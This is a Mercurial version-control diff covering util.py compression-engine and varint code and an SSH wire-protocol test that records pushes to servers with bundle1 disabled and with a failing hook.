3604 3609 compressed = zlib.compress(data)
3605 3610 if len(compressed) < insize:
3606 3611 return compressed
3607 3612 return None
3608 3613
3609 3614 # zlib makes an internal copy of the input buffer, doubling
3610 3615 # memory usage for large inputs. So do streaming compression
3611 3616 # on large inputs.
3612 3617 else:
3613 3618 z = zlib.compressobj()
3614 3619 parts = []
3615 3620 pos = 0
3616 3621 while pos < insize:
3617 3622 pos2 = pos + 2**20
3618 3623 parts.append(z.compress(data[pos:pos2]))
3619 3624 pos = pos2
3620 3625 parts.append(z.flush())
3621 3626
3622 3627 if sum(map(len, parts)) < insize:
3623 3628 return ''.join(parts)
3624 3629 return None
3625 3630
3626 3631 def decompress(self, data):
3627 3632 try:
3628 3633 return zlib.decompress(data)
3629 3634 except zlib.error as e:
3630 3635 raise error.RevlogError(_('revlog decompress error: %s') %
3631 3636 forcebytestr(e))
3632 3637
3633 3638 def revlogcompressor(self, opts=None):
3634 3639 return self.zlibrevlogcompressor()
3635 3640
3636 3641 compengines.register(_zlibengine())
3637 3642
3638 3643 class _bz2engine(compressionengine):
3639 3644 def name(self):
3640 3645 return 'bz2'
3641 3646
3642 3647 def bundletype(self):
3643 3648 """An algorithm that produces smaller bundles than ``gzip``.
3644 3649
3645 3650 All Mercurial clients should support this format.
3646 3651
3647 3652 This engine will likely produce smaller bundles than ``gzip`` but
3648 3653 will be significantly slower, both during compression and
3649 3654 decompression.
3650 3655
3651 3656 If available, the ``zstd`` engine can yield similar or better
3652 3657 compression at much higher speeds.
3653 3658 """
3654 3659 return 'bzip2', 'BZ'
3655 3660
3656 3661 # We declare a protocol name but don't advertise by default because
3657 3662 # it is slow.
3658 3663 def wireprotosupport(self):
3659 3664 return compewireprotosupport('bzip2', 0, 0)
3660 3665
3661 3666 def compressstream(self, it, opts=None):
3662 3667 opts = opts or {}
3663 3668 z = bz2.BZ2Compressor(opts.get('level', 9))
3664 3669 for chunk in it:
3665 3670 data = z.compress(chunk)
3666 3671 if data:
3667 3672 yield data
3668 3673
3669 3674 yield z.flush()
3670 3675
3671 3676 def decompressorreader(self, fh):
3672 3677 def gen():
3673 3678 d = bz2.BZ2Decompressor()
3674 3679 for chunk in filechunkiter(fh):
3675 3680 yield d.decompress(chunk)
3676 3681
3677 3682 return chunkbuffer(gen())
3678 3683
3679 3684 compengines.register(_bz2engine())
3680 3685
3681 3686 class _truncatedbz2engine(compressionengine):
3682 3687 def name(self):
3683 3688 return 'bz2truncated'
3684 3689
3685 3690 def bundletype(self):
3686 3691 return None, '_truncatedBZ'
3687 3692
3688 3693 # We don't implement compressstream because it is hackily handled elsewhere.
3689 3694
3690 3695 def decompressorreader(self, fh):
3691 3696 def gen():
3692 3697 # The input stream doesn't have the 'BZ' header. So add it back.
3693 3698 d = bz2.BZ2Decompressor()
3694 3699 d.decompress('BZ')
3695 3700 for chunk in filechunkiter(fh):
3696 3701 yield d.decompress(chunk)
3697 3702
3698 3703 return chunkbuffer(gen())
3699 3704
3700 3705 compengines.register(_truncatedbz2engine())
3701 3706
3702 3707 class _noopengine(compressionengine):
3703 3708 def name(self):
3704 3709 return 'none'
3705 3710
3706 3711 def bundletype(self):
3707 3712 """No compression is performed.
3708 3713
3709 3714 Use this compression engine to explicitly disable compression.
3710 3715 """
3711 3716 return 'none', 'UN'
3712 3717
3713 3718 # Clients always support uncompressed payloads. Servers don't because
3714 3719 # unless you are on a fast network, uncompressed payloads can easily
3715 3720 # saturate your network pipe.
3716 3721 def wireprotosupport(self):
3717 3722 return compewireprotosupport('none', 0, 10)
3718 3723
3719 3724 # We don't implement revlogheader because it is handled specially
3720 3725 # in the revlog class.
3721 3726
3722 3727 def compressstream(self, it, opts=None):
3723 3728 return it
3724 3729
3725 3730 def decompressorreader(self, fh):
3726 3731 return fh
3727 3732
3728 3733 class nooprevlogcompressor(object):
3729 3734 def compress(self, data):
3730 3735 return None
3731 3736
3732 3737 def revlogcompressor(self, opts=None):
3733 3738 return self.nooprevlogcompressor()
3734 3739
3735 3740 compengines.register(_noopengine())
3736 3741
3737 3742 class _zstdengine(compressionengine):
3738 3743 def name(self):
3739 3744 return 'zstd'
3740 3745
3741 3746 @propertycache
3742 3747 def _module(self):
3743 3748 # Not all installs have the zstd module available. So defer importing
3744 3749 # until first access.
3745 3750 try:
3746 3751 from . import zstd
3747 3752 # Force delayed import.
3748 3753 zstd.__version__
3749 3754 return zstd
3750 3755 except ImportError:
3751 3756 return None
3752 3757
3753 3758 def available(self):
3754 3759 return bool(self._module)
3755 3760
3756 3761 def bundletype(self):
3757 3762 """A modern compression algorithm that is fast and highly flexible.
3758 3763
3759 3764 Only supported by Mercurial 4.1 and newer clients.
3760 3765
3761 3766 With the default settings, zstd compression is both faster and yields
3762 3767 better compression than ``gzip``. It also frequently yields better
3763 3768 compression than ``bzip2`` while operating at much higher speeds.
3764 3769
3765 3770 If this engine is available and backwards compatibility is not a
3766 3771 concern, it is likely the best available engine.
3767 3772 """
3768 3773 return 'zstd', 'ZS'
3769 3774
3770 3775 def wireprotosupport(self):
3771 3776 return compewireprotosupport('zstd', 50, 50)
3772 3777
3773 3778 def revlogheader(self):
3774 3779 return '\x28'
3775 3780
3776 3781 def compressstream(self, it, opts=None):
3777 3782 opts = opts or {}
3778 3783 # zstd level 3 is almost always significantly faster than zlib
3779 3784 # while providing no worse compression. It strikes a good balance
3780 3785 # between speed and compression.
3781 3786 level = opts.get('level', 3)
3782 3787
3783 3788 zstd = self._module
3784 3789 z = zstd.ZstdCompressor(level=level).compressobj()
3785 3790 for chunk in it:
3786 3791 data = z.compress(chunk)
3787 3792 if data:
3788 3793 yield data
3789 3794
3790 3795 yield z.flush()
3791 3796
3792 3797 def decompressorreader(self, fh):
3793 3798 zstd = self._module
3794 3799 dctx = zstd.ZstdDecompressor()
3795 3800 return chunkbuffer(dctx.read_from(fh))
3796 3801
3797 3802 class zstdrevlogcompressor(object):
3798 3803 def __init__(self, zstd, level=3):
3799 3804 # Writing the content size adds a few bytes to the output. However,
3800 3805 # it allows decompression to be more optimal since we can
3801 3806 # pre-allocate a buffer to hold the result.
3802 3807 self._cctx = zstd.ZstdCompressor(level=level,
3803 3808 write_content_size=True)
3804 3809 self._dctx = zstd.ZstdDecompressor()
3805 3810 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3806 3811 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3807 3812
3808 3813 def compress(self, data):
3809 3814 insize = len(data)
3810 3815 # Caller handles empty input case.
3811 3816 assert insize > 0
3812 3817
3813 3818 if insize < 50:
3814 3819 return None
3815 3820
3816 3821 elif insize <= 1000000:
3817 3822 compressed = self._cctx.compress(data)
3818 3823 if len(compressed) < insize:
3819 3824 return compressed
3820 3825 return None
3821 3826 else:
3822 3827 z = self._cctx.compressobj()
3823 3828 chunks = []
3824 3829 pos = 0
3825 3830 while pos < insize:
3826 3831 pos2 = pos + self._compinsize
3827 3832 chunk = z.compress(data[pos:pos2])
3828 3833 if chunk:
3829 3834 chunks.append(chunk)
3830 3835 pos = pos2
3831 3836 chunks.append(z.flush())
3832 3837
3833 3838 if sum(map(len, chunks)) < insize:
3834 3839 return ''.join(chunks)
3835 3840 return None
3836 3841
3837 3842 def decompress(self, data):
3838 3843 insize = len(data)
3839 3844
3840 3845 try:
3841 3846 # This was measured to be faster than other streaming
3842 3847 # decompressors.
3843 3848 dobj = self._dctx.decompressobj()
3844 3849 chunks = []
3845 3850 pos = 0
3846 3851 while pos < insize:
3847 3852 pos2 = pos + self._decompinsize
3848 3853 chunk = dobj.decompress(data[pos:pos2])
3849 3854 if chunk:
3850 3855 chunks.append(chunk)
3851 3856 pos = pos2
3852 3857 # Frame should be exhausted, so no finish() API.
3853 3858
3854 3859 return ''.join(chunks)
3855 3860 except Exception as e:
3856 3861 raise error.RevlogError(_('revlog decompress error: %s') %
3857 3862 forcebytestr(e))
3858 3863
3859 3864 def revlogcompressor(self, opts=None):
3860 3865 opts = opts or {}
3861 3866 return self.zstdrevlogcompressor(self._module,
3862 3867 level=opts.get('level', 3))
3863 3868
3864 3869 compengines.register(_zstdengine())
3865 3870
3866 3871 def bundlecompressiontopics():
3867 3872 """Obtains a list of available bundle compressions for use in help."""
3868 3873 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3869 3874 items = {}
3870 3875
3871 3876 # We need to format the docstring. So use a dummy object/type to hold it
3872 3877 # rather than mutating the original.
3873 3878 class docobject(object):
3874 3879 pass
3875 3880
3876 3881 for name in compengines:
3877 3882 engine = compengines[name]
3878 3883
3879 3884 if not engine.available():
3880 3885 continue
3881 3886
3882 3887 bt = engine.bundletype()
3883 3888 if not bt or not bt[0]:
3884 3889 continue
3885 3890
3886 3891 doc = pycompat.sysstr('``%s``\n %s') % (
3887 3892 bt[0], engine.bundletype.__doc__)
3888 3893
3889 3894 value = docobject()
3890 3895 value.__doc__ = doc
3891 3896 value._origdoc = engine.bundletype.__doc__
3892 3897 value._origfunc = engine.bundletype
3893 3898
3894 3899 items[bt[0]] = value
3895 3900
3896 3901 return items
3897 3902
3898 3903 i18nfunctions = bundlecompressiontopics().values()
3899 3904
3900 3905 # convenient shortcut
3901 3906 dst = debugstacktrace
3902 3907
3903 3908 def safename(f, tag, ctx, others=None):
3904 3909 """
3905 3910 Generate a name that it is safe to rename f to in the given context.
3906 3911
3907 3912 f: filename to rename
3908 3913 tag: a string tag that will be included in the new name
3909 3914 ctx: a context, in which the new name must not exist
3910 3915 others: a set of other filenames that the new name must not be in
3911 3916
3912 3917 Returns a file name of the form oldname~tag[~number] which does not exist
3913 3918 in the provided context and is not in the set of other names.
3914 3919 """
3915 3920 if others is None:
3916 3921 others = set()
3917 3922
3918 3923 fn = '%s~%s' % (f, tag)
3919 3924 if fn not in ctx and fn not in others:
3920 3925 return fn
3921 3926 for n in itertools.count(1):
3922 3927 fn = '%s~%s~%s' % (f, tag, n)
3923 3928 if fn not in ctx and fn not in others:
3924 3929 return fn
3925 3930
3926 3931 def readexactly(stream, n):
3927 3932 '''read n bytes from stream.read and abort if less was available'''
3928 3933 s = stream.read(n)
3929 3934 if len(s) < n:
3930 3935 raise error.Abort(_("stream ended unexpectedly"
3931 3936 " (got %d bytes, expected %d)")
3932 3937 % (len(s), n))
3933 3938 return s
3934 3939
3935 3940 def uvarintencode(value):
3936 3941 """Encode an unsigned integer value to a varint.
3937 3942
3938 3943 A varint is a variable length integer of 1 or more bytes. Each byte
3939 3944 except the last has the most significant bit set. The lower 7 bits of
3940 3945 each byte store the 2's complement representation, least significant group
3941 3946 first.
3942 3947
3943 3948 >>> uvarintencode(0)
3944 3949 '\\x00'
3945 3950 >>> uvarintencode(1)
3946 3951 '\\x01'
3947 3952 >>> uvarintencode(127)
3948 3953 '\\x7f'
3949 3954 >>> uvarintencode(1337)
3950 3955 '\\xb9\\n'
3951 3956 >>> uvarintencode(65536)
3952 3957 '\\x80\\x80\\x04'
3953 3958 >>> uvarintencode(-1)
3954 3959 Traceback (most recent call last):
3955 3960 ...
3956 3961 ProgrammingError: negative value for uvarint: -1
3957 3962 """
3958 3963 if value < 0:
3959 3964 raise error.ProgrammingError('negative value for uvarint: %d'
3960 3965 % value)
3961 3966 bits = value & 0x7f
3962 3967 value >>= 7
3963 3968 bytes = []
3964 3969 while value:
3965 3970 bytes.append(pycompat.bytechr(0x80 | bits))
3966 3971 bits = value & 0x7f
3967 3972 value >>= 7
3968 3973 bytes.append(pycompat.bytechr(bits))
3969 3974
3970 3975 return ''.join(bytes)
3971 3976
3972 3977 def uvarintdecodestream(fh):
3973 3978 """Decode an unsigned variable length integer from a stream.
3974 3979
3975 3980 The passed argument is anything that has a ``.read(N)`` method.
3976 3981
3977 3982 >>> try:
3978 3983 ... from StringIO import StringIO as BytesIO
3979 3984 ... except ImportError:
3980 3985 ... from io import BytesIO
3981 3986 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3982 3987 0
3983 3988 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3984 3989 1
3985 3990 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3986 3991 127
3987 3992 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3988 3993 1337
3989 3994 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3990 3995 65536
3991 3996 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3992 3997 Traceback (most recent call last):
3993 3998 ...
3994 3999 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3995 4000 """
3996 4001 result = 0
3997 4002 shift = 0
3998 4003 while True:
3999 4004 byte = ord(readexactly(fh, 1))
4000 4005 result |= ((byte & 0x7f) << shift)
4001 4006 if not (byte & 0x80):
4002 4007 return result
4003 4008 shift += 7
4004 4009
4005 4010 ###
4006 4011 # Deprecation warnings for util.py splitting
4007 4012 ###
4008 4013
4009 4014 defaultdateformats = dateutil.defaultdateformats
4010 4015
4011 4016 extendeddateformats = dateutil.extendeddateformats
4012 4017
4013 4018 def makedate(*args, **kwargs):
4014 4019 msg = ("'util.makedate' is deprecated, "
4015 4020 "use 'utils.dateutil.makedate'")
4016 4021 nouideprecwarn(msg, "4.6")
4017 4022 return dateutil.makedate(*args, **kwargs)
4018 4023
4019 4024 def datestr(*args, **kwargs):
4020 4025 msg = ("'util.datestr' is deprecated, "
4021 4026 "use 'utils.dateutil.datestr'")
4022 4027 nouideprecwarn(msg, "4.6")
4023 4028 debugstacktrace()
4024 4029 return dateutil.datestr(*args, **kwargs)
4025 4030
4026 4031 def shortdate(*args, **kwargs):
4027 4032 msg = ("'util.shortdate' is deprecated, "
4028 4033 "use 'utils.dateutil.shortdate'")
4029 4034 nouideprecwarn(msg, "4.6")
4030 4035 return dateutil.shortdate(*args, **kwargs)
4031 4036
4032 4037 def parsetimezone(*args, **kwargs):
4033 4038 msg = ("'util.parsetimezone' is deprecated, "
4034 4039 "use 'utils.dateutil.parsetimezone'")
4035 4040 nouideprecwarn(msg, "4.6")
4036 4041 return dateutil.parsetimezone(*args, **kwargs)
4037 4042
4038 4043 def strdate(*args, **kwargs):
4039 4044 msg = ("'util.strdate' is deprecated, "
4040 4045 "use 'utils.dateutil.strdate'")
4041 4046 nouideprecwarn(msg, "4.6")
4042 4047 return dateutil.strdate(*args, **kwargs)
4043 4048
4044 4049 def parsedate(*args, **kwargs):
4045 4050 msg = ("'util.parsedate' is deprecated, "
4046 4051 "use 'utils.dateutil.parsedate'")
4047 4052 nouideprecwarn(msg, "4.6")
4048 4053 return dateutil.parsedate(*args, **kwargs)
4049 4054
4050 4055 def matchdate(*args, **kwargs):
4051 4056 msg = ("'util.matchdate' is deprecated, "
4052 4057 "use 'utils.dateutil.matchdate'")
4053 4058 nouideprecwarn(msg, "4.6")
4054 4059 return dateutil.matchdate(*args, **kwargs)
@@ -1,2034 +1,2034 b''
1 1 $ cat > hgrc-sshv2 << EOF
2 2 > %include $HGRCPATH
3 3 > [experimental]
4 4 > sshpeer.advertise-v2 = true
5 5 > sshserver.support-v2 = true
6 6 > EOF
7 7
8 8 $ debugwireproto() {
9 9 > commands=`cat -`
10 10 > echo 'testing ssh1'
11 11 > tip=`hg log -r tip -T '{node}'`
12 12 > echo "${commands}" | hg --verbose debugwireproto --localssh --noreadstderr
13 13 > if [ -n "$1" ]; then
14 14 > hg --config extensions.strip= strip --no-backup -r "all() - ::${tip}"
15 15 > fi
16 16 > echo ""
17 17 > echo 'testing ssh2'
18 18 > echo "${commands}" | HGRCPATH=$TESTTMP/hgrc-sshv2 hg --verbose debugwireproto --localssh --noreadstderr
19 19 > if [ -n "$1" ]; then
20 20 > hg --config extensions.strip= strip --no-backup -r "all() - ::${tip}"
21 21 > fi
22 22 > }
23 23
24 24 Generate some bundle files
25 25
26 26 $ hg init repo
27 27 $ cd repo
28 28 $ echo 0 > foo
29 29 $ hg -q commit -A -m initial
30 30 $ hg bundle --all -t none-v1 ../initial.v1.hg
31 31 1 changesets found
32 32 $ cd ..
33 33
34 34 Test pushing bundle1 payload to a server with bundle1 disabled
35 35
36 36 $ hg init no-bundle1
37 37 $ cd no-bundle1
38 38 $ cat > .hg/hgrc << EOF
39 39 > [server]
40 40 > bundle1 = false
41 41 > EOF
42 42
43 43 $ debugwireproto << EOF
44 44 > command unbundle
45 45 > # This is "force" in hex.
46 46 > heads 666f726365
47 47 > PUSHFILE ../initial.v1.hg
48 48 > readavailable
49 49 > EOF
50 50 testing ssh1
51 51 creating ssh peer from handshake results
52 i> write(104) -> None:
52 i> write(104) -> 104:
53 53 i> hello\n
54 54 i> between\n
55 55 i> pairs 81\n
56 56 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
57 57 i> flush() -> None
58 58 o> readline() -> 4:
59 59 o> 384\n
60 60 o> readline() -> 384:
61 61 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
62 62 o> readline() -> 2:
63 63 o> 1\n
64 64 o> readline() -> 1:
65 65 o> \n
66 66 sending unbundle command
67 i> write(9) -> None:
67 i> write(9) -> 9:
68 68 i> unbundle\n
69 i> write(9) -> None:
69 i> write(9) -> 9:
70 70 i> heads 10\n
71 i> write(10) -> None: 666f726365
71 i> write(10) -> 10: 666f726365
72 72 i> flush() -> None
73 73 o> readline() -> 2:
74 74 o> 0\n
75 i> write(4) -> None:
75 i> write(4) -> 4:
76 76 i> 426\n
77 i> write(426) -> None:
77 i> write(426) -> 426:
78 78 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
79 79 i> test\n
80 80 i> 0 0\n
81 81 i> foo\n
82 82 i> \n
83 83 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
84 84 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
85 85 i> \x00\x00\x00\x00\x00\x00\x00\x00
86 i> write(2) -> None:
86 i> write(2) -> 2:
87 87 i> 0\n
88 88 i> flush() -> None
89 89 o> readline() -> 2:
90 90 o> 0\n
91 91 o> readline() -> 2:
92 92 o> 1\n
93 93 o> read(1) -> 1: 0
94 94 result: 0
95 95 remote output:
96 96 e> read(-1) -> 115:
97 97 e> abort: incompatible Mercurial client; bundle2 required\n
98 98 e> (see https://www.mercurial-scm.org/wiki/IncompatibleClient)\n
99 99
100 100 testing ssh2
101 101 creating ssh peer from handshake results
102 i> write(171) -> None:
102 i> write(171) -> 171:
103 103 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
104 104 i> hello\n
105 105 i> between\n
106 106 i> pairs 81\n
107 107 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
108 108 i> flush() -> None
109 109 o> readline() -> 62:
110 110 o> upgraded * exp-ssh-v2-0001\n (glob)
111 111 o> readline() -> 4:
112 112 o> 383\n
113 113 o> read(383) -> 383: capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN
114 114 o> read(1) -> 1:
115 115 o> \n
116 116 sending unbundle command
117 i> write(9) -> None:
117 i> write(9) -> 9:
118 118 i> unbundle\n
119 i> write(9) -> None:
119 i> write(9) -> 9:
120 120 i> heads 10\n
121 i> write(10) -> None: 666f726365
121 i> write(10) -> 10: 666f726365
122 122 i> flush() -> None
123 123 o> readline() -> 2:
124 124 o> 0\n
125 i> write(4) -> None:
125 i> write(4) -> 4:
126 126 i> 426\n
127 i> write(426) -> None:
127 i> write(426) -> 426:
128 128 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
129 129 i> test\n
130 130 i> 0 0\n
131 131 i> foo\n
132 132 i> \n
133 133 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
134 134 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
135 135 i> \x00\x00\x00\x00\x00\x00\x00\x00
136 i> write(2) -> None:
136 i> write(2) -> 2:
137 137 i> 0\n
138 138 i> flush() -> None
139 139 o> readline() -> 2:
140 140 o> 0\n
141 141 o> readline() -> 2:
142 142 o> 1\n
143 143 o> read(1) -> 1: 0
144 144 result: 0
145 145 remote output:
146 146 e> read(-1) -> 115:
147 147 e> abort: incompatible Mercurial client; bundle2 required\n
148 148 e> (see https://www.mercurial-scm.org/wiki/IncompatibleClient)\n
149 149
150 150 $ cd ..
151 151
152 152 Create a pretxnchangegroup hook that fails. Give it multiple modes of printing
153 153 output so we can test I/O capture and behavior.
154 154
155 155 Test pushing to a server that has a pretxnchangegroup Python hook that fails
156 156
157 157 $ cat > $TESTTMP/failhook << EOF
158 158 > from __future__ import print_function
159 159 > import sys
160 160 > def hook1line(ui, repo, **kwargs):
161 161 > ui.write('ui.write 1 line\n')
162 162 > return 1
163 163 > def hook2lines(ui, repo, **kwargs):
164 164 > ui.write('ui.write 2 lines 1\n')
165 165 > ui.write('ui.write 2 lines 2\n')
166 166 > return 1
167 167 > def hook1lineflush(ui, repo, **kwargs):
168 168 > ui.write('ui.write 1 line flush\n')
169 169 > ui.flush()
170 170 > return 1
171 171 > def hookmultiflush(ui, repo, **kwargs):
172 172 > ui.write('ui.write 1st\n')
173 173 > ui.flush()
174 174 > ui.write('ui.write 2nd\n')
175 175 > ui.flush()
176 176 > return 1
177 177 > def hookwriteandwriteerr(ui, repo, **kwargs):
178 178 > ui.write('ui.write 1\n')
179 179 > ui.write_err('ui.write_err 1\n')
180 180 > ui.write('ui.write 2\n')
181 181 > ui.write_err('ui.write_err 2\n')
182 182 > return 1
183 183 > def hookprintstdout(ui, repo, **kwargs):
184 184 > print('printed line')
185 185 > return 1
186 186 > def hookprintandwrite(ui, repo, **kwargs):
187 187 > print('print 1')
188 188 > ui.write('ui.write 1\n')
189 189 > print('print 2')
190 190 > ui.write('ui.write 2\n')
191 191 > return 1
192 192 > def hookprintstderrandstdout(ui, repo, **kwargs):
193 193 > print('stdout 1')
194 194 > print('stderr 1', file=sys.stderr)
195 195 > print('stdout 2')
196 196 > print('stderr 2', file=sys.stderr)
197 197 > return 1
198 198 > EOF
199 199
200 200 $ hg init failrepo
201 201 $ cd failrepo
202 202
203 203 ui.write() in hook is redirected to stderr
204 204
205 205 $ cat > .hg/hgrc << EOF
206 206 > [hooks]
207 207 > pretxnchangegroup.fail = python:$TESTTMP/failhook:hook1line
208 208 > EOF
209 209
210 210 $ debugwireproto << EOF
211 211 > command unbundle
212 212 > # This is "force" in hex.
213 213 > heads 666f726365
214 214 > PUSHFILE ../initial.v1.hg
215 215 > readavailable
216 216 > EOF
217 217 testing ssh1
218 218 creating ssh peer from handshake results
219 i> write(104) -> None:
219 i> write(104) -> 104:
220 220 i> hello\n
221 221 i> between\n
222 222 i> pairs 81\n
223 223 i> 0000000000000000000000000000000000000000-0000000000000000000000000000000000000000
224 224 i> flush() -> None
225 225 o> readline() -> 4:
226 226 o> 384\n
227 227 o> readline() -> 384:
228 228 o> capabilities: lookup branchmap pushkey known getbundle unbundlehash batch changegroupsubset streamreqs=generaldelta,revlogv1 $USUAL_BUNDLE2_CAPS_SERVER$ unbundle=HG10GZ,HG10BZ,HG10UN\n
229 229 o> readline() -> 2:
230 230 o> 1\n
231 231 o> readline() -> 1:
232 232 o> \n
233 233 sending unbundle command
234 i> write(9) -> None:
234 i> write(9) -> 9:
235 235 i> unbundle\n
236 i> write(9) -> None:
236 i> write(9) -> 9:
237 237 i> heads 10\n
238 i> write(10) -> None: 666f726365
238 i> write(10) -> 10: 666f726365
239 239 i> flush() -> None
240 240 o> readline() -> 2:
241 241 o> 0\n
242 i> write(4) -> None:
242 i> write(4) -> 4:
243 243 i> 426\n
244 i> write(426) -> None:
244 i> write(426) -> 426:
245 245 i> HG10UN\x00\x00\x00\x9eh\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00>cba485ca3678256e044428f70f58291196f6e9de\n
246 246 i> test\n
247 247 i> 0 0\n
248 248 i> foo\n
249 249 i> \n
250 250 i> initial\x00\x00\x00\x00\x00\x00\x00\x8d\xcb\xa4\x85\xca6x%n\x04D(\xf7\x0fX)\x11\x96\xf6\xe9\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00-foo\x00362fef284ce2ca02aecc8de6d5e8a1c3af0556fe\n
251 251 i> \x00\x00\x00\x00\x00\x00\x00\x07foo\x00\x00\x00b6/\xef(L\xe2\xca\x02\xae\xcc\x8d\xe6\xd5\xe8\xa1\xc3\xaf\x05V\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00h\x98b\x13\xbdD\x85\xeaQS55\xe3\xfc\x9ex\x00zq\x1f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x020\n
252 252 i> \x00\x00\x00\x00\x00\x00\x00\x00
253 i> write(2) -> None:
253 i> write(2) -> 2:
254 254 i> 0\n
255 255 i> flush() -> None
256 256 o> readline() -> 2:
257 257 o> 0\n
258 258 o> readline() -> 2:
259 259 o> 1\n
260 260 o> read(1) -> 1: 0
261 261 result: 0
262 262 remote output:
263 263 e> read(-1) -> 196:
264 264 e> adding changesets\n
265 265 e> adding manifests\n
266 266 e> adding file changes\n
267 267 e> added 1 changesets with 1 changes to 1 files\n
268 268 e> ui.write 1 line\n
269 269 e> transaction abort!\n
270 270 e> rollback completed\n
271 271 e> abort: pretxnchangegroup.fail hook failed\n
272 272
273 273 testing ssh2
274 274 creating ssh peer from handshake results
275 i> write(171) -> None:
275 i> write(171) -> 171:
276 276 i> upgrade * proto=exp-ssh-v2-0001\n (glob)
